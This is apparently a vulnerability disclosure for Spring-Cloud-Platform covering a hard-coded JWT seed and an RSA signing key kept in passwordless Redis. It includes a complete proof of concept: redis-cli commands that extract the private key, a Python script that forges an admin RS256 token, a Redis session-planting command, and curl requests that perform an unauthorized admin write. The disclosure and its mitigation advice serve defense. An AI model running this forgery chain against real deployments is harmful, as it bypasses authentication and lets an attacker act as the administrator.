| الوصف | 1. Hard-coded signing key.
wxiaoqi/Spring-Cloud-Platform ships a hard-coded JWT key seed: jwt.rsa-secret in ace-modules/ace-admin/src/main/resources/application.yml line 138 has the fixed value xx1WET12^%3^(WE45 (https://github.com/wxiaoqi/Spring-Cloud-Platform/blob/349ad0d6a54670698f0c2a08b17aa4db426f8109/ace-modules/ace-admin/src/main/resources/application.yml#L138). ace-admin derives the live RSA-1024 signing keypair from this public constant at startup and stores the private key unencrypted in the application Redis (db 2), for which the shipped configuration sets no password. The exact effective-key condition, as I verified: the seed alone does not re-derive the key (RsaKeyHelper.java:136-147 uses a seeded SecureRandom, non-deterministic across runs); the key is exposed exactly when Redis is reachable without authentication - the shipped default - and the hard-coded value adds nothing there. I fetched all 15 revisions GitHub lists for this file: the value first appears in commit 8806059c90ebf1b96fb0e268330eda01b87c1678 (2020-06-07) and is unchanged through master HEAD, the permalink commit (branch tip on 2026-11-01).
2. My report and the vendor's response.
I reported this in https://github.com/wxiaoqi/Spring-Cloud-Platform/issues/63 on 2026-07-20; still open as of 2026-11-02, the only maintainer reaction an automated out-of-office auto-reply posted as a public comment, and no fix or advisory exists. Live testing corrects one detail of my own report: I had assumed the seed deterministically regenerates the keypair offline; it does not, and the working path reads the live key from passwordless Redis - same impact, different mechanism. In this entry I document the hard-coded key and a no-login forgery that writes through the administrative API of a default deployment.
3. Token construction.
KeyConfiguration.java:14-15 injects jwt.rsa-secret; AuthServerRunner.java:20-36 generates the RSA-1024 keypair (e=65537) at startup and stores it as PKCS#8/X.509 Base64 in Redis db 2 under CLOUD_V1:AUTH:JWT:PRI and CLOUD_V1:AUTH:JWT:PUB (application.yml:35). Tokens are RS256 (jjwt 0.9, JWTHelper.java:45-55): header {"alg":"RS256"}; claims sub, userId, name, id (8-character short UUID, UUIDUtils.java:17-27, the tokenId), exp; login stores session key admin:token:<tokenId> with 14400-minute TTL (AuthServiceImpl.java:98-99). Verification (JWTHelper.java:75-78,100-107) only installs the RSA public key (no issuer or audience claim, none checked), and the gateway filter (AccessGatewayFilter.java:150-170) accepts any RS256-valid token whose id claim resolves to a non-empty admin:token:<tokenId> value in db 2; that entry is never bound to a user or a real login, so whoever can write to Redis can create it.
4. Attack process, fully offline with no login call.
Offline refers to the forgery: the token is computed offline; the requests are network calls, and no login, captcha, or legitimate token is used. Deployment-only adjustments, disclosed: ace-nlp removed (parent POM unresolvable), Nacos moved from embedded derby to MySQL (derby crash-looped), other tuning only via environment variables (SPRING_REDIS_HOST, MYSQL_HOST, SPRING_CLOUD_NACOS_*_SERVER_ADDR); Redis left as shipped, no password. POST /api/admin/groupType on the gateway at 127.0.0.1:20034 is the authenticated GroupTypeController insert (BaseController.insertSelective) into base_group_type.
Step 1, pull the live keypair from the passwordless Redis via host-side docker exec (no remote variant tested):
docker exec scp-redis-202611012211 redis-cli --raw -n 2 GET CLOUD_V1:AUTH:JWT:PRI | tr -d "\r\n" > scp_pri.b64
docker exec scp-redis-202611012211 redis-cli --raw -n 2 GET CLOUD_V1:AUTH:JWT:PUB | tr -d "\r\n" > scp_pub.b64
scp_pri.b64 md5 8fb9f520bff0ccdeffe845b03eb5a8cc.
Step 2, complete forging script, python3 standard library only, functionally identical to the one I ran (names and whitespace compacted); it cross-checks PRI/PUB and self-verifies:
import json, base64, hashlib
pri = base64.b64decode("".join(open("/home/lza/jwt/deploy/poc/scp_pri.b64").read().split()))
pub = base64.b64decode("".join(open("/home/lza/jwt/deploy/poc/scp_pub.b64").read().split()))
CLAIMS = {"sub": "admin", "userId": "1", "name": "Mr.AG", "id": "OjEk2VQU", "exp": 1793601589}
DI = bytes.fromhex("3031300d060960864801650304020105000420")
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def tlv(d, i):
tag = d[i]; i += 1; ln = d[i]; i += 1
if ln & 0x80: nb = ln & 0x7F; ln = int.from_bytes(d[i:i+nb], "big"); i += nb
return tag, d[i:i+ln], i+ln
def ints(seq):
out, i = [], 0
while i < len(seq):
tag, val, i = tlv(seq, i)
if tag == 2: out.append(int.from_bytes(val, "big"))
return out
def pkcs8_pri(der):
_, outer, _ = tlv(der, 0); _, _, i = tlv(outer, 0); _, _, i = tlv(outer, i); _, km, _ = tlv(outer, i)
_, seq, _ = tlv(km, 0); v = ints(seq); return v[1], v[2], v[3] # n, e, d
def x509_pub(der):
_, outer, _ = tlv(der, 0); _, _, i = tlv(outer, 0); _, bits, _ = tlv(outer, i)
_, seq, _ = tlv(bits[1:], 0); v = ints(seq); return v[0], v[1] # n, e
def em0(n, msg):
k = (n.bit_length() + 7) // 8; t = DI + hashlib.sha256(msg).digest()
return k, b"\x00\x01" + b"\xff" * (k - len(t) - 3) + b"\x00" + t
n1, e1, d = pkcs8_pri(pri); n2, e2 = x509_pub(pub)
assert n1 == n2 and e1 == e2, "Redis PRI/PUB mismatch"
h = b64u(json.dumps({"alg": "RS256"}, separators=(",", ":")).encode())
p = b64u(json.dumps(CLAIMS, separators=(",", ":")).encode())
si = (h + "." + p).encode(); k, em = em0(n1, si)
sig = pow(int.from_bytes(em, "big"), d, n1).to_bytes(k, "big")
assert pow(int.from_bytes(sig, "big"), e2, n2) == int.from_bytes(em0(n2, si)[1], "big"), "self-verify failed"
print("TOKEN=" + h + "." + p + "." + b64u(sig))
Step 3, plant the session entry the gateway checks (TTL of a real login): docker exec scp-redis-202611012211 redis-cli -n 2 SET admin:token:OjEk2VQU "$TOKEN" EX 864000 (OK, TTL 864000).
Step 4, write side, executed exactly as shown: curl -sS -X POST http://127.0.0.1:20034/api/admin/groupType -H "Authorization: $TOKEN" -H "Content-Type: application/json" -d '{"code":"POC-SCP-FORGED","name":"poc-forged-jwt-row","description":"row persisted via forged RS256 JWT PoC 2026-11-02"}'
Read side, same forged token: curl -sS http://127.0.0.1:20034/api/admin/groupType/all -H "Authorization: $TOKEN"
Observed: the POST returned HTTP 200 in 3.53 s, body {"statusCode":200} - my forged RS256 signature verified, the planted session entry was found, and the permission check passed for sub=admin; the GET returned HTTP 200 containing POC-SCP-FORGED and poc-forged-jwt-row. Database check, executed as docker exec scp-mysql-202611012211 mysql -uroot -p123456 cloud_admin_v1 -e 'select id,code,name,description,crt_time,crt_user,crt_host from base_group_type where code="POC-SCP-FORGED"\G' (crt_host holds a container-network address, omitted): row id=4, code POC-SCP-FORGED, name poc-forged-jwt-row, crt_time=2026-11-01 21:01:14 on the MySQL container clock, six hours behind UTC (attack ran 2026-11-02 11:01:08 CST), crt_user=1 - the audit column carries the forged userId, so the write executed as the forged administrator. The claims are the seeded admin's own - base_user id=1, username=admin, name=Mr.AG in the product database - so no third party is involved. Transcript poc-session-spring-cloud-platform-20261102.txt and screenshot poc-proof-spring-cloud-platform.png (md5 e4461f8e16c8f53187ef032585ce63ce) are archived as PoC evidence. Only the attack was run; no control experiment.
5. Impact.
With the shipped defaults and Redis reachable from my position unauthenticated, I minted a validly signed token for the built-in administrator and performed an unauthorized write and read on the administrative API. The gateway never binds the planted session entry to a user or login, so the same steps should apply to other accounts, subject to permission checks I did not test; the demonstrated surface is one write and one read endpoint under /api/admin/**. CVSS:3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, score 8.1 (High): AC:H because exploitation needs an unauthenticated Redis channel beyond the gateway; A:H assumes other admin mutation endpoints equally reachable, untested. CWE-321 Use of Hard-coded Cryptographic Key.
6. Mitigation.
Fix both halves of the lifecycle. Replace the hard-coded jwt.rsa-secret with a per-deployment secret from an environment variable or secret store, and refuse to start (or fail loudly) on the default value, as I recommended in the report. Independently, stop storing the effective signing key in a shared passwordless Redis: enable Redis authentication and network isolation, persist the keypair encrypted with access control, and rotate keys generated under the old default - removing the seed alone does not close the demonstrated path while the keystore stays unauthenticated.
Product homepage: https://github.com/wxiaoqi/Spring-Cloud-Platform |
|---|